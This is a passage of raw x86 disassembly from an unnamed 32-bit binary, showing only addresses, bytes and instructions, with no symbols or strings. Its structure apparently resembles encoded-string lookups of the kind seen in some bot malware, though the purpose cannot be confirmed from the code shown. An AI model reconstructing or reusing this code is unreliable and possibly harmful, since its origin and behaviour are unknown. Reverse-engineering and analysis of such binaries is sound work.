8049d94: 0f 84 fd 03 00 00 je 0x804a197 | |
8049d9a: 3c 20 cmp $0x20,%al | |
8049d9c: 0f 84 f5 03 00 00 je 0x804a197 | |
8049da2: 8d 04 17 lea (%edi,%edx,1),%eax | |
8049da5: 8a 50 03 mov 0x3(%eax),%dl | |
8049da8: 40 inc %eax | |
8049da9: 84 d2 test %dl,%dl | |
8049dab: 74 05 je 0x8049db2 | |
8049dad: 80 fa 20 cmp $0x20,%dl | |
8049db0: 75 f3 jne 0x8049da5 | |
8049db2: 29 f8 sub %edi,%eax | |
8049db4: 8d 70 02 lea 0x2(%eax),%esi | |
8049db7: c6 84 34 1b 20 00 00 movb $0x0,0x201b(%esp,%esi,1) | |
8049dbe: 00 | |
8049dbf: 83 ec 0c sub $0xc,%esp | |
8049dc2: 8d 1c 0f lea (%edi,%ecx,1),%ebx | |
8049dc5: 53 push %ebx | |
8049dc6: e8 35 1e 00 00 call 0x804bc00 | |
8049dcb: 83 c4 0c add $0xc,%esp | |
8049dce: 8d 94 24 20 22 00 00 lea 0x2220(%esp),%edx | |
8049dd5: 52 push %edx | |
8049dd6: 50 push %eax | |
8049dd7: 53 push %ebx | |
8049dd8: e8 c3 20 00 00 call 0x804bea0 | |
8049ddd: 83 c4 10 add $0x10,%esp | |
8049de0: 40 inc %eax | |
8049de1: 0f 84 60 ff ff ff je 0x8049d47 | |
8049de7: 8d 4e 01 lea 0x1(%esi),%ecx | |
8049dea: 8d 14 37 lea (%edi,%esi,1),%edx | |
8049ded: 31 db xor %ebx,%ebx | |
8049def: 31 f6 xor %esi,%esi | |
8049df1: c6 44 24 0b 00 movb $0x0,0xb(%esp) | |
8049df6: 8a 42 02 mov 0x2(%edx),%al | |
8049df9: 41 inc %ecx | |
8049dfa: 84 c0 test %al,%al | |
8049dfc: 74 20 je 0x8049e1e | |
8049dfe: 3c 20 cmp $0x20,%al | |
8049e00: 0f 84 82 03 00 00 je 0x804a188 | |
8049e06: 3c 09 cmp $0x9,%al | |
8049e08: 0f 84 7a 03 00 00 je 0x804a188 | |
8049e0e: fe cb dec %bl | |
8049e10: 0f 84 5a 03 00 00 je 0x804a170 | |
8049e16: 31 db xor %ebx,%ebx | |
8049e18: 42 inc %edx | |
8049e19: 83 fe 06 cmp $0x6,%esi | |
8049e1c: 7e d8 jle 0x8049df6 | |
8049e1e: 89 ca mov %ecx,%edx | |
8049e20: 80 7c 24 0b 00 cmpb $0x0,0xb(%esp) | |
8049e25: 0f 84 1c ff ff ff je 0x8049d47 | |
8049e2b: 8a 84 0c 1b 20 00 00 mov 0x201b(%esp,%ecx,1),%al | |
8049e32: 84 c0 test %al,%al | |
8049e34: 74 15 je 0x8049e4b | |
8049e36: 3c 20 cmp $0x20,%al | |
8049e38: 74 11 je 0x8049e4b | |
8049e3a: 8d 04 0f lea (%edi,%ecx,1),%eax | |
8049e3d: 8a 58 01 mov 0x1(%eax),%bl | |
8049e40: 41 inc %ecx | |
8049e41: 40 inc %eax | |
8049e42: 84 db test %bl,%bl | |
8049e44: 74 05 je 0x8049e4b | |
8049e46: 80 fb 20 cmp $0x20,%bl | |
8049e49: 75 f2 jne 0x8049e3d | |
8049e4b: c6 84 0c 1b 20 00 00 movb $0x0,0x201b(%esp,%ecx,1) | |
8049e52: 00 | |
8049e53: 83 ec 0c sub $0xc,%esp | |
8049e56: 8d 1c 17 lea (%edi,%edx,1),%ebx | |
8049e59: 53 push %ebx | |
8049e5a: e8 a1 1d 00 00 call 0x804bc00 | |
8049e5f: 83 c4 10 add $0x10,%esp | |
8049e62: 83 f8 0f cmp $0xf,%eax | |
8049e65: 0f 8f dc fe ff ff jg 0x8049d47 | |
8049e6b: 50 push %eax | |
8049e6c: 50 push %eax | |
8049e6d: 53 push %ebx | |
8049e6e: 8d 84 24 38 22 00 00 lea 0x2238(%esp),%eax | |
8049e75: 50 push %eax | |
8049e76: e8 a5 1d 00 00 call 0x804bc20 | |
8049e7b: 83 c4 10 add $0x10,%esp | |
8049e7e: 83 ec 0c sub $0xc,%esp | |
8049e81: 55 push %ebp | |
8049e82: e8 4c 22 00 00 call 0x804c0d3 | |
8049e87: 58 pop %eax | |
8049e88: 8d 94 24 38 22 00 00 lea 0x2238(%esp),%edx | |
8049e8f: 52 push %edx | |
8049e90: e8 6b 1d 00 00 call 0x804bc00 | |
8049e95: 83 c4 10 add $0x10,%esp | |
8049e98: 85 c0 test %eax,%eax | |
8049e9a: 0f 84 fe 02 00 00 je 0x804a19e | |
8049ea0: 50 push %eax | |
8049ea1: 50 push %eax | |
8049ea2: 6a 00 push $0x0 | |
8049ea4: 6a 0d push $0xd | |
8049ea6: e8 d5 16 00 00 call 0x804b580 | |
8049eab: 31 db xor %ebx,%ebx | |
8049ead: 89 04 24 mov %eax,(%esp) | |
8049eb0: e8 8c 25 00 00 call 0x804c441 | |
8049eb5: 89 44 24 10 mov %eax,0x10(%esp) | |
8049eb9: 83 c4 10 add $0x10,%esp | |
8049ebc: 85 c0 test %eax,%eax | |
8049ebe: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) | |
8049ec5: 00 | |
8049ec6: 0f 84 2e 03 00 00 je 0x804a1fa | |
8049ecc: 83 ec 0c sub $0xc,%esp | |
8049ecf: 8b 5c 24 0c mov 0xc(%esp),%ebx | |
8049ed3: 53 push %ebx | |
8049ed4: e8 59 26 00 00 call 0x804c532 | |
8049ed9: 83 c4 10 add $0x10,%esp | |
8049edc: 85 c0 test %eax,%eax | |
8049ede: 0f 84 01 03 00 00 je 0x804a1e5 | |
8049ee4: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
8049ee8: 85 c9 test %ecx,%ecx | |
8049eea: 0f 85 f5 02 00 00 jne 0x804a1e5 | |
8049ef0: 8d 78 0b lea 0xb(%eax),%edi | |
8049ef3: 8a 40 0b mov 0xb(%eax),%al | |
8049ef6: 83 e8 30 sub $0x30,%eax | |
8049ef9: 3c 09 cmp $0x9,%al | |
8049efb: 77 cf ja 0x8049ecc | |
8049efd: 50 push %eax | |
8049efe: 50 push %eax | |
8049eff: 6a 00 push $0x0 | |
8049f01: 6a 0d push $0xd | |
8049f03: e8 78 16 00 00 call 0x804b580 | |
8049f08: 5e pop %esi | |
8049f09: 5d pop %ebp | |
8049f0a: 50 push %eax | |
8049f0b: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049f12: 50 push %eax | |
8049f13: e8 08 1d 00 00 call 0x804bc20 | |
8049f18: 5b pop %ebx | |
8049f19: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f20: 52 push %edx | |
8049f21: e8 da 1c 00 00 call 0x804bc00 | |
8049f26: 5a pop %edx | |
8049f27: 59 pop %ecx | |
8049f28: 57 push %edi | |
8049f29: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f30: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049f33: 50 push %eax | |
8049f34: e8 e7 1c 00 00 call 0x804bc20 | |
8049f39: 5d pop %ebp | |
8049f3a: 58 pop %eax | |
8049f3b: 6a 00 push $0x0 | |
8049f3d: 6a 0e push $0xe | |
8049f3f: e8 3c 16 00 00 call 0x804b580 | |
8049f44: 5e pop %esi | |
8049f45: 89 c3 mov %eax,%ebx | |
8049f47: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049f4e: 50 push %eax | |
8049f4f: e8 ac 1c 00 00 call 0x804bc00 | |
8049f54: 5a pop %edx | |
8049f55: 59 pop %ecx | |
8049f56: 53 push %ebx | |
8049f57: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f5e: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049f61: 50 push %eax | |
8049f62: e8 b9 1c 00 00 call 0x804bc20 | |
8049f67: 83 c4 0c add $0xc,%esp | |
8049f6a: 68 00 10 00 00 push $0x1000 | |
8049f6f: 8d 44 24 23 lea 0x23(%esp),%eax | |
8049f73: 50 push %eax | |
8049f74: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049f7b: 52 push %edx | |
8049f7c: e8 23 23 00 00 call 0x804c2a4 | |
8049f81: 83 c4 10 add $0x10,%esp | |
8049f84: 40 inc %eax | |
8049f85: 0f 84 41 ff ff ff je 0x8049ecc | |
8049f8b: 50 push %eax | |
8049f8c: 50 push %eax | |
8049f8d: 6a 00 push $0x0 | |
8049f8f: 6a 0d push $0xd | |
8049f91: e8 ea 15 00 00 call 0x804b580 | |
8049f96: 5e pop %esi | |
8049f97: 5d pop %ebp | |
8049f98: 50 push %eax | |
8049f99: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049fa0: 50 push %eax | |
8049fa1: e8 7a 1c 00 00 call 0x804bc20 | |
8049fa6: 5b pop %ebx | |
8049fa7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049fae: 52 push %edx | |
8049faf: e8 4c 1c 00 00 call 0x804bc00 | |
8049fb4: 5a pop %edx | |
8049fb5: 59 pop %ecx | |
8049fb6: 57 push %edi | |
8049fb7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049fbe: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049fc1: 50 push %eax | |
8049fc2: e8 59 1c 00 00 call 0x804bc20 | |
8049fc7: 5d pop %ebp | |
8049fc8: 58 pop %eax | |
8049fc9: 6a 00 push $0x0 | |
8049fcb: 6a 0f push $0xf | |
8049fcd: e8 ae 15 00 00 call 0x804b580 | |
8049fd2: 5e pop %esi | |
8049fd3: 89 c3 mov %eax,%ebx | |
8049fd5: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049fdc: 50 push %eax | |
8049fdd: e8 1e 1c 00 00 call 0x804bc00 | |
8049fe2: 5a pop %edx | |
8049fe3: 59 pop %ecx | |
8049fe4: 53 push %ebx | |
8049fe5: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
8049fec: 8d 04 02 lea (%edx,%eax,1),%eax | |
8049fef: 50 push %eax | |
8049ff0: e8 2b 1c 00 00 call 0x804bc20 | |
8049ff5: 58 pop %eax | |
8049ff6: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
8049ffd: 50 push %eax | |
8049ffe: e8 3e 24 00 00 call 0x804c441 | |
804a003: 83 c4 10 add $0x10,%esp | |
804a006: 89 c5 mov %eax,%ebp | |
804a008: 85 c0 test %eax,%eax | |
804a00a: 0f 84 bc fe ff ff je 0x8049ecc | |
804a010: 83 ec 0c sub $0xc,%esp | |
804a013: 55 push %ebp | |
804a014: e8 19 25 00 00 call 0x804c532 | |
804a019: 83 c4 10 add $0x10,%esp | |
804a01c: 89 c6 mov %eax,%esi | |
804a01e: 85 c0 test %eax,%eax | |
804a020: 0f 84 4b 02 00 00 je 0x804a271 | |
804a026: 8b 44 24 04 mov 0x4(%esp),%eax | |
804a02a: 85 c0 test %eax,%eax | |
804a02c: 0f 85 3f 02 00 00 jne 0x804a271 | |
804a032: 50 push %eax | |
804a033: 50 push %eax | |
804a034: 68 00 10 00 00 push $0x1000 | |
804a039: 8d 54 24 27 lea 0x27(%esp),%edx | |
804a03d: 52 push %edx | |
804a03e: e8 4d 1c 00 00 call 0x804bc90 | |
804a043: 5b pop %ebx | |
804a044: 58 pop %eax | |
804a045: 6a 00 push $0x0 | |
804a047: 6a 0d push $0xd | |
804a049: e8 32 15 00 00 call 0x804b580 | |
804a04e: 5a pop %edx | |
804a04f: 59 pop %ecx | |
804a050: 50 push %eax | |
804a051: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a058: 50 push %eax | |
804a059: e8 c2 1b 00 00 call 0x804bc20 | |
804a05e: 58 pop %eax | |
804a05f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a066: 52 push %edx | |
804a067: e8 94 1b 00 00 call 0x804bc00 | |
804a06c: 59 pop %ecx | |
804a06d: 5b pop %ebx | |
804a06e: 57 push %edi | |
804a06f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a076: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a079: 50 push %eax | |
804a07a: e8 a1 1b 00 00 call 0x804bc20 | |
804a07f: 58 pop %eax | |
804a080: 5a pop %edx | |
804a081: 6a 00 push $0x0 | |
804a083: 6a 0f push $0xf | |
804a085: e8 f6 14 00 00 call 0x804b580 | |
804a08a: 89 c3 mov %eax,%ebx | |
804a08c: 58 pop %eax | |
804a08d: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a094: 50 push %eax | |
804a095: e8 66 1b 00 00 call 0x804bc00 | |
804a09a: 5a pop %edx | |
804a09b: 59 pop %ecx | |
804a09c: 53 push %ebx | |
804a09d: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a0a4: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a0a7: 50 push %eax | |
804a0a8: e8 73 1b 00 00 call 0x804bc20 | |
804a0ad: 5b pop %ebx | |
804a0ae: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a0b5: 50 push %eax | |
804a0b6: e8 45 1b 00 00 call 0x804bc00 | |
804a0bb: 5a pop %edx | |
804a0bc: 59 pop %ecx | |
804a0bd: 68 80 e8 04 08 push $0x804e880 | |
804a0c2: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a0c9: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a0cc: 50 push %eax | |
804a0cd: e8 4e 1b 00 00 call 0x804bc20 | |
804a0d2: 5b pop %ebx | |
804a0d3: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax | |
804a0da: 50 push %eax | |
804a0db: e8 20 1b 00 00 call 0x804bc00 | |
804a0e0: 5a pop %edx | |
804a0e1: 8d 56 0b lea 0xb(%esi),%edx | |
804a0e4: 59 pop %ecx | |
804a0e5: 52 push %edx | |
804a0e6: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a0ed: 8d 04 02 lea (%edx,%eax,1),%eax | |
804a0f0: 50 push %eax | |
804a0f1: e8 2a 1b 00 00 call 0x804bc20 | |
804a0f6: 83 c4 0c add $0xc,%esp | |
804a0f9: 68 00 10 00 00 push $0x1000 | |
804a0fe: 8d 44 24 23 lea 0x23(%esp),%eax | |
804a102: 50 push %eax | |
804a103: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx | |
804a10a: 52 push %edx | |
804a10b: e8 94 21 00 00 call 0x804c2a4 | |
804a110: 83 c4 10 add $0x10,%esp | |
804a113: 40 inc %eax | |
804a114: 0f 84 f6 fe ff ff je 0x804a010 | |
804a11a: 83 ec 0c sub $0xc,%esp | |
804a11d: 8d 44 24 27 lea 0x27(%esp),%eax | |
804a121: 50 push %eax | |
804a122: e8 d9 1a 00 00 call 0x804bc00 | |
804a127: 83 c4 0c add $0xc,%esp | |
804a12a: 8d 94 24 30 22 00 00 lea 0x2230(%esp),%edx | |
804a131: 52 push %edx | |
804a132: 50 push %eax | |
804a133: 8d 44 24 27 lea 0x27(%esp),%eax | |
804a137: 50 push %eax | |
804a138: e8 63 1d 00 00 call 0x804bea0 | |
804a13d: 83 c4 10 add $0x10,%esp | |
804a140: 40 inc %eax | |
804a141: 0f 84 c9 fe ff ff je 0x804a010 | |
804a147: 53 push %ebx | |
804a148: 53 push %ebx | |
804a149: 6a 0a push $0xa | |
804a14b: 57 push %edi | |
804a14c: e8 5f 1b 00 00 call 0x804bcb0 | |
804a151: 5a pop %edx | |
804a152: 59 pop %ecx | |
804a153: 6a 09 push $0x9 | |
804a155: 50 push %eax | |
804a156: e8 57 20 00 00 call 0x804c1b2 | |
804a15b: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp) | |
804a162: 00 | |
804a163: 83 c4 10 add $0x10,%esp | |
804a166: e9 a5 fe ff ff jmp 0x804a010 | |
804a16b: 90 nop | |
804a16c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804a170: 46 inc %esi | |
804a171: 83 fe 01 cmp $0x1,%esi | |
804a174: 0f 85 9c fc ff ff jne 0x8049e16 | |
804a17a: 80 7a 03 41 cmpb $0x41,0x3(%edx) | |
804a17e: 74 5e je 0x804a1de | |
804a180: 42 inc %edx | |
804a181: 31 db xor %ebx,%ebx | |
804a183: e9 6e fc ff ff jmp 0x8049df6 | |
804a188: b3 01 mov $0x1,%bl | |
804a18a: e9 89 fc ff ff jmp 0x8049e18 | |
804a18f: 90 nop | |
804a190: 31 d2 xor %edx,%edx | |
804a192: e9 ed fb ff ff jmp 0x8049d84 | |
804a197: 89 ce mov %ecx,%esi | |
804a199: e9 19 fc ff ff jmp 0x8049db7 | |
804a19e: 83 ec 0c sub $0xc,%esp | |
804a1a1: 31 db xor %ebx,%ebx | |
804a1a3: 6a 0d push $0xd | |
804a1a5: e8 06 14 00 00 call 0x804b5b0 | |
804a1aa: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a1b1: e8 fa 13 00 00 call 0x804b5b0 | |
804a1b6: c7 04 24 0f 00 00 00 movl $0xf,(%esp) | |
804a1bd: e8 ee 13 00 00 call 0x804b5b0 | |
804a1c2: c7 04 24 11 00 00 00 movl $0x11,(%esp) | |
804a1c9: e8 e2 13 00 00 call 0x804b5b0 | |
804a1ce: 83 c4 10 add $0x10,%esp | |
804a1d1: 81 c4 3c 22 00 00 add $0x223c,%esp | |
804a1d7: 89 d8 mov %ebx,%eax | |
804a1d9: 5b pop %ebx | |
804a1da: 5e pop %esi | |
804a1db: 5f pop %edi | |
804a1dc: 5d pop %ebp | |
804a1dd: c3 ret | |
804a1de: c6 44 24 0b 01 movb $0x1,0xb(%esp) | |
804a1e3: eb 9b jmp 0x804a180 | |
804a1e5: 83 ec 0c sub $0xc,%esp | |
804a1e8: 8b 54 24 0c mov 0xc(%esp),%edx | |
804a1ec: 52 push %edx | |
804a1ed: e8 df 21 00 00 call 0x804c3d1 | |
804a1f2: 0f be 5c 24 14 movsbl 0x14(%esp),%ebx | |
804a1f7: 83 c4 10 add $0x10,%esp | |
804a1fa: 83 ec 0c sub $0xc,%esp | |
804a1fd: 6a 01 push $0x1 | |
804a1ff: e8 88 38 00 00 call 0x804da8c | |
804a204: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a20b: e8 a0 13 00 00 call 0x804b5b0 | |
804a210: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a217: e8 94 13 00 00 call 0x804b5b0 | |
804a21c: c7 04 24 0f 00 00 00 movl $0xf,(%esp) | |
804a223: e8 88 13 00 00 call 0x804b5b0 | |
804a228: 83 c4 10 add $0x10,%esp | |
804a22b: 89 d8 mov %ebx,%eax | |
804a22d: 81 c4 3c 22 00 00 add $0x223c,%esp | |
804a233: 5b pop %ebx | |
804a234: 5e pop %esi | |
804a235: 5f pop %edi | |
804a236: 5d pop %ebp | |
804a237: c3 ret | |
804a238: 8a 84 24 1c 22 00 00 mov 0x221c(%esp),%al | |
804a23f: c6 84 24 20 22 00 00 movb $0x0,0x2220(%esp) | |
804a246: 00 | |
804a247: 88 84 24 1e 22 00 00 mov %al,0x221e(%esp) | |
804a24e: 8a 84 24 1d 22 00 00 mov 0x221d(%esp),%al | |
804a255: 88 84 24 1f 22 00 00 mov %al,0x221f(%esp) | |
804a25c: c6 84 24 1c 22 00 00 movb $0x30,0x221c(%esp) | |
804a263: 30 | |
804a264: c6 84 24 1d 22 00 00 movb $0x30,0x221d(%esp) | |
804a26b: 30 | |
804a26c: e9 83 fa ff ff jmp 0x8049cf4 | |
804a271: 83 ec 0c sub $0xc,%esp | |
804a274: 55 push %ebp | |
804a275: e8 57 21 00 00 call 0x804c3d1 | |
804a27a: 83 c4 10 add $0x10,%esp | |
804a27d: e9 4a fc ff ff jmp 0x8049ecc | |
804a282: 90 nop | |
804a283: 90 nop | |
804a284: 90 nop | |
804a285: 90 nop | |
804a286: 90 nop | |
804a287: 90 nop | |
804a288: 90 nop | |
804a289: 90 nop | |
804a28a: 90 nop | |
804a28b: 90 nop | |
804a28c: 90 nop | |
804a28d: 90 nop | |
804a28e: 90 nop | |
804a28f: 90 nop | |
804a290: 55 push %ebp | |
804a291: 57 push %edi | |
804a292: 56 push %esi | |
804a293: 53 push %ebx | |
804a294: 81 ec 18 21 00 00 sub $0x2118,%esp | |
804a29a: 6a 00 push $0x0 | |
804a29c: e8 9e 20 00 00 call 0x804c33f | |
804a2a1: 89 c6 mov %eax,%esi | |
804a2a3: e8 59 1e 00 00 call 0x804c101 | |
804a2a8: 83 c4 10 add $0x10,%esp | |
804a2ab: a3 10 f1 04 08 mov %eax,0x804f110 | |
804a2b0: 85 c0 test %eax,%eax | |
804a2b2: 7e 0b jle 0x804a2bf | |
804a2b4: 81 c4 0c 21 00 00 add $0x210c,%esp | |
804a2ba: 5b pop %ebx | |
804a2bb: 5e pop %esi | |
804a2bc: 5f pop %edi | |
804a2bd: 5d pop %ebp | |
804a2be: c3 ret | |
804a2bf: 40 inc %eax | |
804a2c0: 74 f2 je 0x804a2b4 | |
804a2c2: 83 ec 0c sub $0xc,%esp | |
804a2c5: 6a 05 push $0x5 | |
804a2c7: e8 c0 37 00 00 call 0x804da8c | |
804a2cc: c7 04 24 00 10 00 00 movl $0x1000,(%esp) | |
804a2d3: e8 98 25 00 00 call 0x804c870 | |
804a2d8: a3 0c f1 04 08 mov %eax,0x804f10c | |
804a2dd: c6 00 00 movb $0x0,(%eax) | |
804a2e0: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a2e7: c7 05 c4 f0 04 08 00 movl $0x0,0x804f0c4 | |
804a2ee: 00 00 00 | |
804a2f1: e8 3a 13 00 00 call 0x804b630 | |
804a2f6: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a2fd: e8 2e 13 00 00 call 0x804b630 | |
804a302: 5d pop %ebp | |
804a303: 58 pop %eax | |
804a304: 6a 00 push $0x0 | |
804a306: 6a 0d push $0xd | |
804a308: e8 73 12 00 00 call 0x804b580 | |
804a30d: 5b pop %ebx | |
804a30e: 5f pop %edi | |
804a30f: 50 push %eax | |
804a310: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a317: 89 44 24 1c mov %eax,0x1c(%esp) | |
804a31b: 50 push %eax | |
804a31c: e8 ff 18 00 00 call 0x804bc20 | |
804a321: 8d 9c 24 44 10 00 00 lea 0x1044(%esp),%ebx | |
804a328: 01 c3 add %eax,%ebx | |
804a32a: e8 f8 1d 00 00 call 0x804c127 | |
804a32f: 83 c4 0c add $0xc,%esp | |
804a332: 8d 94 24 b8 20 00 00 lea 0x20b8(%esp),%edx | |
804a339: 52 push %edx | |
804a33a: 6a 0a push $0xa | |
804a33c: 50 push %eax | |
804a33d: e8 2e 1c 00 00 call 0x804bf70 | |
804a342: 5a pop %edx | |
804a343: 59 pop %ecx | |
804a344: 50 push %eax | |
804a345: 53 push %ebx | |
804a346: e8 d5 18 00 00 call 0x804bc20 | |
804a34b: 5d pop %ebp | |
804a34c: 01 c3 add %eax,%ebx | |
804a34e: 58 pop %eax | |
804a34f: 6a 00 push $0x0 | |
804a351: 6a 0e push $0xe | |
804a353: e8 28 12 00 00 call 0x804b580 | |
804a358: 59 pop %ecx | |
804a359: 5f pop %edi | |
804a35a: 50 push %eax | |
804a35b: 53 push %ebx | |
804a35c: e8 bf 18 00 00 call 0x804bc20 | |
804a361: 89 c7 mov %eax,%edi | |
804a363: 58 pop %eax | |
804a364: 5a pop %edx | |
804a365: 6a 00 push $0x0 | |
804a367: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a36e: 50 push %eax | |
804a36f: e8 70 1e 00 00 call 0x804c1e4 | |
804a374: 83 c4 10 add $0x10,%esp | |
804a377: 83 f8 ff cmp $0xffffffff,%eax | |
804a37a: 0f 84 34 ff ff ff je 0x804a2b4 | |
804a380: 83 ec 0c sub $0xc,%esp | |
804a383: 50 push %eax | |
804a384: e8 4a 1d 00 00 call 0x804c0d3 | |
804a389: c7 04 24 0d 00 00 00 movl $0xd,(%esp) | |
804a390: e8 1b 12 00 00 call 0x804b5b0 | |
804a395: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804a39c: e8 0f 12 00 00 call 0x804b5b0 | |
804a3a1: 83 c4 0c add $0xc,%esp | |
804a3a4: a1 0c f1 04 08 mov 0x804f10c,%eax | |
804a3a9: 68 ff 0f 00 00 push $0xfff | |
804a3ae: 50 push %eax | |
804a3af: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax | |
804a3b6: 50 push %eax | |
804a3b7: e8 e8 1e 00 00 call 0x804c2a4 | |
804a3bc: 83 c4 10 add $0x10,%esp | |
804a3bf: 89 c2 mov %eax,%edx | |
804a3c1: 83 f8 ff cmp $0xffffffff,%eax | |
804a3c4: 74 09 je 0x804a3cf | |
804a3c6: a1 0c f1 04 08 mov 0x804f10c,%eax | |
804a3cb: c6 04 10 00 movb $0x0,(%eax,%edx,1) | |
804a3cf: 50 push %eax | |
804a3d0: 50 push %eax | |
804a3d1: 8b 6c 24 18 mov 0x18(%esp),%ebp | |
804a3d5: 8d 04 3b lea (%ebx,%edi,1),%eax | |
804a3d8: 29 e8 sub %ebp,%eax | |
804a3da: bd 90 01 00 00 mov $0x190,%ebp | |
804a3df: 50 push %eax | |
804a3e0: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi | |
804a3e7: 57 push %edi | |
804a3e8: e8 a3 18 00 00 call 0x804bc90 | |
804a3ed: c7 44 24 28 00 00 00 movl $0x0,0x28(%esp) | |
804a3f4: 00 | |
804a3f5: 83 c4 10 add $0x10,%esp | |
804a3f8: 83 ec 0c sub $0xc,%esp | |
804a3fb: 6a 0d push $0xd | |
804a3fd: e8 2e 12 00 00 call 0x804b630 | |
804a402: 5b pop %ebx | |
804a403: 5f pop %edi | |
804a404: 6a 00 push $0x0 | |
804a406: 6a 0d push $0xd | |
804a408: e8 73 11 00 00 call 0x804b580 | |
804a40d: 89 04 24 mov %eax,(%esp) | |
804a410: e8 2c 20 00 00 call 0x804c441 | |
804a415: 89 44 24 2c mov %eax,0x2c(%esp) | |
804a419: 83 c4 10 add $0x10,%esp | |
804a41c: 85 c0 test %eax,%eax | |
804a41e: 0f 84 90 fe ff ff je 0x804a2b4 | |
804a424: 83 ec 0c sub $0xc,%esp | |
804a427: 6a 0d push $0xd | |
804a429: e8 82 11 00 00 call 0x804b5b0 | |
804a42e: c7 04 24 bb e5 00 00 movl $0xe5bb,(%esp) | |
804a435: e8 06 f8 ff ff call 0x8049c40 | |
804a43a: c7 04 24 07 c7 00 00 movl $0xc707,(%esp) | |
804a441: e8 fa f7 ff ff call 0x8049c40 | |
804a446: c7 04 24 05 3a 00 00 movl $0x3a05,(%esp) | |
804a44d: e8 ee f7 ff ff call 0x8049c40 | |
804a452: c7 04 24 05 39 00 00 movl $0x3905,(%esp) | |
804a459: e8 e2 f7 ff ff call 0x8049c40 | |
804a45e: c7 04 24 01 a4 00 00 movl $0xa401,(%esp) | |
804a465: e8 d6 f7 ff ff call 0x8049c40 | |
804a46a: c7 04 24 00 e8 00 00 movl $0xe800,(%esp) | |
804a471: e8 ca f7 ff ff call 0x8049c40 | |
804a476: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp) | |
804a47d: e8 be f7 ff ff call 0x8049c40 | |
804a482: c7 04 24 06 8c 00 00 movl $0x8c06,(%esp) | |
804a489: e8 b2 f7 ff ff call 0x8049c40 | |
804a48e: c7 04 24 01 bb 00 00 movl $0xbb01,(%esp) | |
804a495: e8 a6 f7 ff ff call 0x8049c40 | |
804a49a: c7 04 24 10 e1 00 00 movl $0xe110,(%esp) | |
804a4a1: e8 9a f7 ff ff call 0x8049c40 | |
804a4a6: c7 04 24 1a 0b 00 00 movl $0xb1a,(%esp) | |
804a4ad: e8 8e f7 ff ff call 0x8049c40 | |
804a4b2: c7 04 24 1a 29 00 00 movl $0x291a,(%esp) | |
804a4b9: e8 82 f7 ff ff call 0x8049c40 | |
804a4be: c7 04 24 03 e7 00 00 movl $0xe703,(%esp) | |
804a4c5: e8 76 f7 ff ff call 0x8049c40 | |
804a4ca: c7 04 24 00 45 00 00 movl $0x4500,(%esp) | |
804a4d1: e8 6a f7 ff ff call 0x8049c40 | |
804a4d6: c7 04 24 00 15 00 00 movl $0x1500,(%esp) | |
804a4dd: e8 5e f7 ff ff call 0x8049c40 | |
804a4e2: c7 04 24 00 14 00 00 movl $0x1400,(%esp) | |
804a4e9: e8 52 f7 ff ff call 0x8049c40 | |
804a4ee: c7 04 24 04 bc 00 00 movl $0xbc04,(%esp) | |
804a4f5: e8 46 f7 ff ff call 0x8049c40 | |
804a4fa: c7 04 24 02 2b 00 00 movl $0x2b02,(%esp) | |
804a501: e8 3a f7 ff ff call 0x8049c40 | |
804a506: c7 04 24 01 bc 00 00 movl $0xbc01,(%esp) | |
804a50d: e8 2e f7 ff ff call 0x8049c40 | |
804a512: c7 04 24 01 4d 00 00 movl $0x4d01,(%esp) | |
804a519: e8 22 f7 ff ff call 0x8049c40 | |
804a51e: c7 04 24 00 de 00 00 movl $0xde00,(%esp) | |
804a525: e8 16 f7 ff ff call 0x8049c40 | |
804a52a: c7 04 24 00 6f 00 00 movl $0x6f00,(%esp) | |
804a531: e8 0a f7 ff ff call 0x8049c40 | |
804a536: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp) | |
804a53d: e8 fe f6 ff ff call 0x8049c40 | |
804a542: c7 04 24 03 09 00 00 movl $0x903,(%esp) | |
804a549: e8 f2 f6 ff ff call 0x8049c40 | |
804a54e: c7 04 24 03 78 00 00 movl $0x7803,(%esp) | |
804a555: e8 e6 f6 ff ff call 0x8049c40 | |
